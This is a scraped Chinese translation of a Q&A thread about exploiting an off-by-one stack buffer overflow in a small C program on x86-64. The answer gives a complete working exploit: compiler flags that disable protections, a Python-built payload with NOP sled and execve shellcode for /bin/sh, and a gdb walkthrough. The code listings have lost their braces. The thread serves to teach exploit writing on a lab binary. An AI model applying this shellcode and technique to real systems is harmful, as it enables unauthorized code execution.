Offbyone 缓冲区溢出有效负载中的 NULL 字节

Posted

技术标签:

【中文标题】Offbyone 缓冲区溢出有效负载中的 NULL 字节【英文标题】:Offbyone buffer overflow NULL byte in payload 【发布时间】:2016-10-10 21:25:26 【问题描述】:

所以我在以下简单代码的帮助下尝试了 Offbyone 缓冲区溢出

#include <string.h>

void cpy(char *x)
char buf[128]="";
strncat(buf,x,sizeof(buf));


int main(int argc, char **argv)


    cpy(argv[1]);


因为这张图描述了 Offbyone 缓冲区溢出的工作原理

取自:https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481

这里是 main 和 cpy 的反汇编

这是我使用的有效载荷

内存转储

所以使用缓冲区,在 Cpy 堆栈帧中,我将保存的 RBP 的 最低有效字节 的值更改为 00因为实现了 Offbyone 溢出通过提供 128 字节的输入 )

如您所见,地址0x7ffffffffe177存储了EBP,其值从0x7ffffffffe190变为0x7fffffffe100

所以我继续,我的有效载荷的起始地址在地址 0x7ffffffffe10F 这也是 main 的返回地址 这应该是 0xffffe110 0x00007fff 而不是 0xffffe110 0x90907fff 但由于我们不应该在有效负载中有 00 我无法设置返回地址,因为它是一个 64 位地址长度为 8 字节 0xffffe110 0x00007fff

那么我们究竟应该如何在这里有返回地址呢? 而且由于内存转储的图像,在断点 1 中,它的 cpy 函数框架为什么 argc 和 argv [] 在堆栈的顶部? 我是 Exploit 写作的新手,我们将不胜感激所有帮助。

【问题讨论】:

等一下,您正在以 root 身份编译和运行您的漏洞利用程序的同时进行漏洞利用编写教程?最终战胜自己的好方法。 它在虚拟环境中运行所以没问题:v 【参考方案1】:

因此,让我们从描述可用于设置所需返回地址值而不在有效负载中传递零字节的技巧开始。

我对您的代码进行了一些更改,以便更轻松地完成此操作。这是新代码:

#include <string.h>

int i;

void cpy(char *x) 
    char buf[128];
    for (i = 0; i <= 128; ++i) 
        buf[i] = x[i];
    


int main(int argc, char **argv) 
    cpy(argv[1]);
    return 0;

主要区别在于现在我们可以控制保存的rbp 的低位字节的值。在您的示例中,我们只能将其设置为零。

这里是我们cpy函数的堆栈帧:

@rbp - 保存main函数的基栈指针

@rsp - cpy 函数开头的堆栈指针(紧跟在push rbp 之后)

诀窍是我们以@rbp = @rsp - 8 的方式覆盖最后一个字节。因此,当我们从main 返回时,函数$rbp 将等于@rsp - 8,因此返回地址将是@rsp - 8 之前的8 个字节,即@rsp - 8

main返回后,我们将跳转到@rsp - 8。所以现在我们只需将jmp 放入这个地址的shellcode 就完成了:

但在您的原始示例中,无法完成此技巧,因为我们无法控制 @rbp 的较低有效字节的值。

还应注意,如果@rbp@rsp 的差异超过最后一个字节,则此技巧将不起作用。

最后是漏洞利用。

编译带有可执行堆栈且不带堆栈保护的代码:

$ gcc test.c -o test -z execstack -fno-stack-protector

获取我们jmp的字节码到shellcode:

$ rasm2 -a x86 -b 64 'jmp -0x50'
ebae

利用gdb:

$ gdb --args test $(python -c 'print "\x90" * 91 + "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" + "\xeb\xb8" + "a" * 6 + "\xc8"')

>>> b cpy
>>> b *cpy+90
>>> r
Breakpoint 1, 0x00000000004004aa in cpy ()

所以这里保存rbp:

>>> x/1gx $rbp
0x7fffffffd3d0: 0x00007fffffffd3f0

这里是rspcpy函数的开头:

>>> p/x $rsp
$1 = 0x7fffffffd3d0

cpy返回后我们想要得到的rbp的值(这就是为什么payload的最后一个字节是\xc8

>>> p/x $rsp - 8
$2 = 0x7fffffffd3c8

继续到cpy结尾:

>>> c
Breakpoint 2, 0x0000000000400500 in cpy ()

cpy的Asm代码:

>>> disassemble cpy
Dump of assembler code for function cpy:
     0x00000000004004a6 <+0>:     push   rbp
     0x00000000004004a7 <+1>:     mov    rbp,rsp
     0x00000000004004aa <+4>:     sub    rsp,0x10
     0x00000000004004ae <+8>:     mov    QWORD PTR [rbp-0x88],rdi
     0x00000000004004b5 <+15>:    mov    DWORD PTR [rip+0x20046d],0x0        # 0x60092c <i>
     0x00000000004004bf <+25>:    jmp    0x4004f2 <cpy+76>
     0x00000000004004c1 <+27>:    mov    eax,DWORD PTR [rip+0x200465]        # 0x60092c <i>
     0x00000000004004c7 <+33>:    mov    edx,DWORD PTR [rip+0x20045f]        # 0x60092c <i>
     0x00000000004004cd <+39>:    movsxd rcx,edx
     0x00000000004004d0 <+42>:    mov    rdx,QWORD PTR [rbp-0x88]
     0x00000000004004d7 <+49>:    add    rdx,rcx
     0x00000000004004da <+52>:    movzx  edx,BYTE PTR [rdx]
     0x00000000004004dd <+55>:    cdqe
     0x00000000004004df <+57>:    mov    BYTE PTR [rbp+rax*1-0x80],dl
     0x00000000004004e3 <+61>:    mov    eax,DWORD PTR [rip+0x200443]        # 0x60092c <i>
     0x00000000004004e9 <+67>:    add    eax,0x1
     0x00000000004004ec <+70>:    mov    DWORD PTR [rip+0x20043a],eax        # 0x60092c <i>
     0x00000000004004f2 <+76>:    mov    eax,DWORD PTR [rip+0x200434]        # 0x60092c <i>
     0x00000000004004f8 <+82>:    cmp    eax,0x80
     0x00000000004004fd <+87>:    jle    0x4004c1 <cpy+27>
     0x00000000004004ff <+89>:    nop
  => 0x0000000000400500 <+90>:    leave
     0x0000000000400501 <+91>:    ret
End of assembler dump.

rbpleave 之后的值:

>>> ni
>>> p/x $rbp
$1 = 0x7fffffffd3c8

执行到main结束:

>>> ni
>>> ni
>>> ni
>>> disassemble
Dump of assembler code for function main:
     0x0000000000400502 <+0>:     push   rbp
     0x0000000000400503 <+1>:     mov    rbp,rsp
     0x0000000000400506 <+4>:     sub    rsp,0x10
     0x000000000040050a <+8>:     mov    DWORD PTR [rbp-0x4],edi
     0x000000000040050d <+11>:    mov    QWORD PTR [rbp-0x10],rsi
     0x0000000000400511 <+15>:    mov    rax,QWORD PTR [rbp-0x10]
     0x0000000000400515 <+19>:    add    rax,0x8
     0x0000000000400519 <+23>:    mov    rax,QWORD PTR [rax]
     0x000000000040051c <+26>:    mov    rdi,rax
     0x000000000040051f <+29>:    call   0x4004a6 <cpy>
     0x0000000000400524 <+34>:    mov    eax,0x0
     0x0000000000400529 <+39>:    leave
  => 0x000000000040052a <+40>:    ret
End of assembler dump.
>>> ni

现在我们在@rsp - 8,这是我们的jmp 到shellcode:

>>> disassemble $rip,+2
Dump of assembler code from 0x7fffffffd3c8 to 0x7fffffffd3ca:
=> 0x00007fffffffd3c8:  jmp    0x7fffffffd382
End of assembler dump.

最后是shellcode:

>>> ni
>>> disassemble $rip,+0x50
Dump of assembler code from 0x7fffffffd382 to 0x7fffffffd3d2:
=> 0x00007fffffffd382:  nop
   0x00007fffffffd383:  nop
   0x00007fffffffd384:  nop
   0x00007fffffffd385:  nop
   ...
   0x00007fffffffd3ab:  xor    rdi,rdi
   0x00007fffffffd3ae:  push   rdi
   0x00007fffffffd3af:  push   rdi
   0x00007fffffffd3b0:  pop    rsi
   0x00007fffffffd3b1:  pop    rdx
   0x00007fffffffd3b2:  movabs rdi,0x68732f6e69622f2f
   0x00007fffffffd3bc:  shr    rdi,0x8
   0x00007fffffffd3c0:  push   rdi
   0x00007fffffffd3c1:  push   rsp
   0x00007fffffffd3c2:  pop    rdi
   0x00007fffffffd3c3:  push   0x3b
   0x00007fffffffd3c5:  pop    rax
   0x00007fffffffd3c6:  syscall

【讨论】:

哈哈 很好的回答:D,感谢您花时间解释这一点。

以上是关于Offbyone 缓冲区溢出有效负载中的 NULL 字节的主要内容,如果未能解决你的问题,请参考以下文章

缓冲区溢出“攻击”中的操作顺序

AddressSanitizer:地址上的堆缓冲区溢出

修复:在 0.1.6 之前,libyaml 容易受到来自恶意 YAML 有效负载的堆溢出攻击

如何在没有缓冲区溢出的情况下遍历链表?

关于电脑!啥是“缓冲区溢出”?

检索用户空间 Linux C 代码中 USB 串行写入传输的缓冲区/数据包/有效负载大小